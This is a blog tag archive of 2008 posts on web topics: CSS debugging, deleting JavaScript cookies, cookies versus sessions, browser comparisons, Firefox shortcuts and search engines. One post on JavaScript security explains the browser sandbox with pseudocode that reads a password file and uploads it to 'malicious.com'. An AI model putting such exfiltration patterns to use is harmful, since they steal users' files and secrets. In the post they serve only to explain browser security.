Posts Tagged ‘browser’

Finding Your CSS Styles in wordpress

Tuesday, November 11th, 2008

Designing any website, as well as WordPress Themes, the smallest detail in the layout and design can send even the most expert web page designer into fits. Since you probably aren’t a top-notch CSS and HTML expert, how about I show you the tricks they use for finding their CSS styles and tweaking those little bits and pieces into shape.

A web page is generated using a combination of HTML tags which basically hold the structural frame work of the web page, and a style sheet which provides instructions to those tags on how to look and where to put themselves. Going through a style sheet to find the solution to your problem isn’t as easy as it looks. But tracking down the style sheet reference inside of the web page and HTML tags is actually easier than you think. It’s a matter of tracking down the culprit by narrowing the suspects.

View Source of Web Page CodeView the trouble causing page in your browser. Look closely where the trouble maker is and note any text near the problem area. From the browser menu, choose View > Page Source. This will bring up a new window with the code behind your web page. Now, using your “find” (CTRL+F), search for the key text you spotted nearest your problem.

How to Delete Cookies?

Tuesday, July 29th, 2008

One thing you may have noticed if you have started writing Javascript to use cookies is that there is no actual delete command that can be used to delete a cookie after you have created it. This doesn’t mean that you can’t delete cookies, it just means that you need to understand how cookies work in order to be able to control when the system will delete them for you.

When you create a session cookie it will continue to exist for as long as the browser remains open and will be deleted as soon as the browser is closed. This is because session cookies are actually retained in memory by the browser and are never actually stored anywhere. You do not specify an expiry date when creating a session cookie.

If you want a cookie to last for a longer (or shorter) time than you get wioth a session cookie you need to create a first party cookie instead. With a first party cookie the cookie is actually stored in a file on your visitor’s hard drive. You specify an expiry date/time when creating a first party cookie that defines how long the cookie is to be retained on the hard drive. The cookie isn’t necessarily deleted when that date/time is reached but cookies that have passed their expiry date/’time are ignored and so as far as the browser is concerned they don’t exist.

So how does this help us if we decide that we need to delete a cookie befre the date/time that it is set to expire? Well the solution is quite simple, we change the expiry date of the cookie so that it will be considered to have already expired. Rather than having to remember what to do each time, let’s just create a small function for deleting whichever cookie that we want.

function del_cookie(name) {
document.cookie = name +
‘=; expires=Thu, 01-Jan-70 00:00:01 GMT;’;
}

Now all we need to do is to call this del_cookie() function passing it the name of whatever cookie it is that we wish to delete. The function will update the expiry date on the cookie to one long in the past so that the cookie will be considered to be expired and will be ignored by the browser exactly the same as if it didn’t exist.

Why choose that particular date for setting the expiry date to delete the cookie? Well it just happens that all of the date processing within Javascript sees the 1st January 1970 as its starting date and actually records all date/times internally as the number of milliseconds from midnight on that day. Using that date therefore is effectively equivalent to setting the expiry to zero which means that the cookie will be deleted even if your visitor has the date on their computer set incorrectly. Were we to choose a more recent date it would be possible (although very unlikely) that one of our visitors might have their computer date set incorrectly to one earlier than the exipry that we chose and so our attempt to delete the cookie wouldn’t then work for them.

What is Cookie?

Tuesday, July 29th, 2008

The most common meaning of “Cookie” on the Internet refers to a piece of information sent by a Web Server to a Web Browser that the Browser software is expected to save and to send back to the Server whenever the browser makes additional requests from the Server. Depending on the type of Cookie used, and the Browsers’ settings, the Browser may accept or not accept the Cookie, and may save the Cookie for either a short time or a long time. Cookies might contain information such as login or registration information, online “shopping cart” information, user preferences, etc. When a Server receives a request from a Browser that includes a Cookie, the Server is able to use the information stored in the Cookie. For example, the Server might customize what is sent back to the user, or keep a log of particular users’ requests. Cookies are usually set to expire after a predetermined amount of time and are usually saved in memory until the Browser software is closed down, at which time they may be saved to disk if their “expire time” has not been reached. Cookies do not read your hard drive and send your life story to the CIA, but they can be used to gather more information about a user than would be possible without them. From Matisse

Cookies vs Sessions

Tuesday, July 29th, 2008

The main difference between cookies and sessions is that cookies are stored in the user’s browser, and sessions are not. This difference determines what each is best used for.

A cookie can keep information in the user’s browser until deleted. If a person has a login and password, this can be set as a cookie in their browser so they do not have to re-login to your website every time they visit. You can store almost anything in a browser cookie. The trouble is that a user can block cookies or delete them at any time. If, for example, your website’s shopping cart utilized cookies, and a person had their browser set to block them, then they could not shop at your trouble .

Sessions are not reliant on the user allowing a cookie. They work instead like a token allowing access and passing information while the user has their browser open. The problem with sessions is that when you close your browser you also lose the session. So, if you had a site requiring a login, this couldn’t be saved as a session like it could as a cookie, and the user would be forced to re-login every time they visit.

You can of course get the best of both worlds! Once you know what each does, you can use a combination of cookies and sessions to make your site work exactly the way you want it to.

Javascript-Security

Wednesday, July 16th, 2008

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);

2. JavaScript cannot execute any other programs. This would also be unacceptable

execute(’horridvirus.exe’)

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).

document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Why You Should Use Internet Explorer 7

Wednesday, July 16th, 2008

Available for Windows Server 2003, Windows XP, and Windows Vista, Internet Explorer 7 is a vast improvement on earlier versions. In some areas such as tabbed browsing and enhanced RSS feeds, it appears as if IE has finally caught up to the rest of the browser pack.

Why You Should Use Firefox 2.0

Wednesday, July 16th, 2008

Mozilla’s Firefox 2.0 for Windows has garnered praise from critics since its late 2006 release and, aside from some undesirable security flaws, has pretty much lived up to expectations. The browser’s strong following can be attributed in part to its passionate developer community, which continues to churn out some very impressive browser add-ons. With some of these add-ons, also known as extensions installed, Firefox can become somewhat of a powerhouse application.

Add-ons and extensions aside, Mozilla’s browser stands up pretty well in its native form due in large part to some key features.

Mozilla Firefox 2.0 vs. Microsoft Internet Explorer 7

Wednesday, July 16th, 2008

For a while it looked as if Mozilla’s Firefox browser was destined to become a huge threat to Internet Explorer in the web browser wars. Firefox has continued to slowly but steadily eat away at IE’s market share, and for good reason. In many ways it was just a better overall browser than IE 5 or 6. Enter Internet Explorer 7. With many of the same features that helped spark Firefox’s popularity as well as its intimate coupling with the Windows Vista operating system, Microsoft’s newest browser offering has raised doubts as to whether Mozilla’s market share can continue to grow at its current rate.

Both of these browsers have their own respective appeal and deciding which one may be right for you can prove to be a daunting task. This article attempts to make things a little easier for you when decision time arrives.

Keyboard Shortcuts For Firefox v2.0 For Windows

Wednesday, July 16th, 2008

Below is a list of keyboard shortcuts that can be used in Mozilla Firefox version 2.0 for Windows.

* CTRL+D: Add a bookmark.

* BACKSPACE: Move back.

* CTRL+B: Open Bookmarks in browser sidebar.

* CTRL+I: Open Bookmarks in browser sidebar.

* F7: Toggles Caret Browsing on/off.

* CTRL+W: Close current tab.

* CTRL+F4: Close current tab.

* ALT+F4: Close current window.

* CTRL+C: Copy.

* CTRL+X Cut.

* CTRL+MINUS: Decrease text size within web page.

* SHIFT+DEL: Delete an individual form.

* CTRL+J: Launch Download Manager.

* CTRL+G: Find again.

* SHIFT+F3: Find previous.

* F11: Put the current browser window in full screen mode.

* F1: Launch Firefox Help.

* CTRL+H: Display your browsing history.

* ALT+HOME: Load your home page.

* CTRL+PLUS: Increase text size within web page.

* F6: Move to next frame.

* SHIFT+F6: Move to previous frame.

* CTRL+T: Create a new tab.

* CTRL+TAB: Make the next tab active.

* CTRL+N: Open a new browser window.

* CTRL+O: Launch the Open File dialog.

* CTRL+ENTER: Open a link in a new tab.

* CTRL+U: Display the source of the current page.

* CTRL+V: Paste.

* CTRL+PAGE UP: Make the previous tab active.

* CTRL+P: Print.

* F5: Refresh the current page.

* CTRL+F5: Refresh the current page, overriding your cache.

* CTRL+S: Open Save Page As… dialog.

* ALT+ENTER: Open Save Link Target As… dialog.

* CTRL+A: Select all.

* CTRL+L: Select location bar.

* CTRL+DOWN ARROW: Select next respective search engine in search bar.

* CTRL+UP ARROW: Select previous respective search engine in search bar.

* CTRL+Z: Undo.

Search Engine Elements

Tuesday, July 15th, 2008

The three major elements of a search engines are: the spider, also called the crawler; the index or catalog; and the search engine which displays the results of your query in your browser.

The spider visits your web page, indexes it, and then follows links to other pages within the site. This is sometimes referred to as being “spidered” or “crawled.” The spider returns to the site every so often looking for changes.

The index is a giant database that contains a copy of every web page that the spider finds. When a web page is changed, then this database is updated with the new information.

Sometimes it takes a while for pages or changes to be added to the index. Therefore, a web page may have been “spidered” but not yet “indexed.” Until it is added to the index, it is not available to searches by the search engine.

Search engine software sifts through the millions of pages recorded in the index to find matches to a query and ranks them in the order of what it believes is most relevant. Different search engines often produce very different results.